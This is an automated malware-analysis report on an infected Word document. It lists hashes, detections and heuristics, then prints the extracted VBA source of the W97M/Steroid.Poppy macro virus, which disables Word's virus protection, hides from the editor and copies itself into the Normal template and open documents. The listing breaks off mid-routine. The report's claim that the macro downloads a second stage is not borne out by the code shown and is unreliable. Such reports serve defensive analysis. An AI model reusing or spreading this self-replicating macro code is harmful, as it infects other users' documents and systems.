Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 314c6657ccdfedb9…

MALICIOUS

Office (OLE)

45.5 KB Created: 1995-05-06 21:20:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8b8781e27df83ed4cad7057e283fbb29 SHA-1: f00a673327397ae386b901bd2ac4a64ab03d39e5 SHA-256: 314c6657ccdfedb9107fb50a6541fab4545ee4f1be0f25fbb5ae5a1b3a861cd0
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, specifically an Auto_Close macro within a module named 'Injekt', which is designed to export itself to 'c:\startup.log'. This suggests the macro's intent is to download and execute a second-stage payload. The presence of legacy WordBasic markers and ClamAV detections for 'Win.Trojan.Pivis-2' and 'Doc.Trojan.Steroid-3' further indicate malicious activity.

Heuristics 4

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5249 bytes
SHA-256: f6e5f7858bbe8fa9843bd2d0d00c130dbaa7943884c43692a8e006a552435e95
Detection
ClamAV: Doc.Trojan.Steroid-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Injekt"
Declare Function SetVolumeLabel Lib "kernel32" Alias "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal lpVolumeName As String) As Long
Sub Steroid()
    
    ' Steroid.Poppy.II by VicodinES
    ' "Whats Up" to : Slage Hammer, Spanska and the entire _Kim_Liberation_Army_

If Application.ShowVisualBasicEditor Then Call out
Application.EnableCancelKey = wdCancelDisabled
On Error Resume Next

With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
If Application.ShowVisualBasicEditor Then Call out
ActiveDocument.ReadOnlyRecommended = False
If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = False
If Application.ShowVisualBasicEditor Then Call out
Application.VBE.ActiveVBProject.VBComponents("Injekt").Export "c:\startup.log"
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "Injekt" Then NormInstall = True
Next i
If Application.ShowVisualBasicEditor Then Call out
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "Injekt" Then ActivInstall = True
Next i
If Application.ShowVisualBasicEditor Then Call out
If ActivInstall = False Then
With ActiveDocument.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
End If
If Application.ShowVisualBasicEditor Then Call out
If NormInstall = False Then
With NormalTemplate.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
volset = SetVolumeLabel("c:\", "Test")
End If
If Application.ShowVisualBasicEditor Then Call out
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If NormInstall = False Then
If NormalTemplate.Saved = False Then NormalTemplate.Save
End If
If Application.ShowVisualBasicEditor Then Call out
'VMPCK v2.0 Beta
Application.ScreenUpdating = True
If Application.ShowVisualBasicEditor Then Call out
fuckoff:
End Sub
Sub HelpAbout()
On Error Resume Next
MsgBox "Can I have a bottle of warm Diet Mountain Dew?", vbInformation, "VMPCK v2.0 Beta / SR-1 Compatable"
MsgBox "Shout Out! ...Slage Hammer, Spanska and the entire _Kim_Liberation_Army_", vbInformation, "W97M/Steroid.Poppy"
End Sub
Sub FileSave()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
Application.ScreenUpdating = False
ActiveDocument.Save
Application.ScreenUpdating = True
End Sub
Sub FileSaveAs()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = False
dialogs(wdDialogFileSaveAs).show
Application.ScreenUpdating = True
Call Steroid
End Sub
Sub FilePrint()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
dialogs(wdDialogFilePrint).show
Call Steroid
End Sub
Sub FileClose()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
Application.ScreenUpdating = False
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub
Sub FileExit()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Caffeine
Application.Quit
End Sub
Sub AutoExit()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Caffeine
End Sub
Sub AutoClose()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
End Sub
Sub ViewVBCode()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
End Sub
Sub Caffeine()
If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = False
Application.EnableCancelKey = wdCancelDisabled
Application.WindowState = wdWindowStateMinimize
pName = CurDir & "\"
Fname = Dir(pName &
... (truncated)

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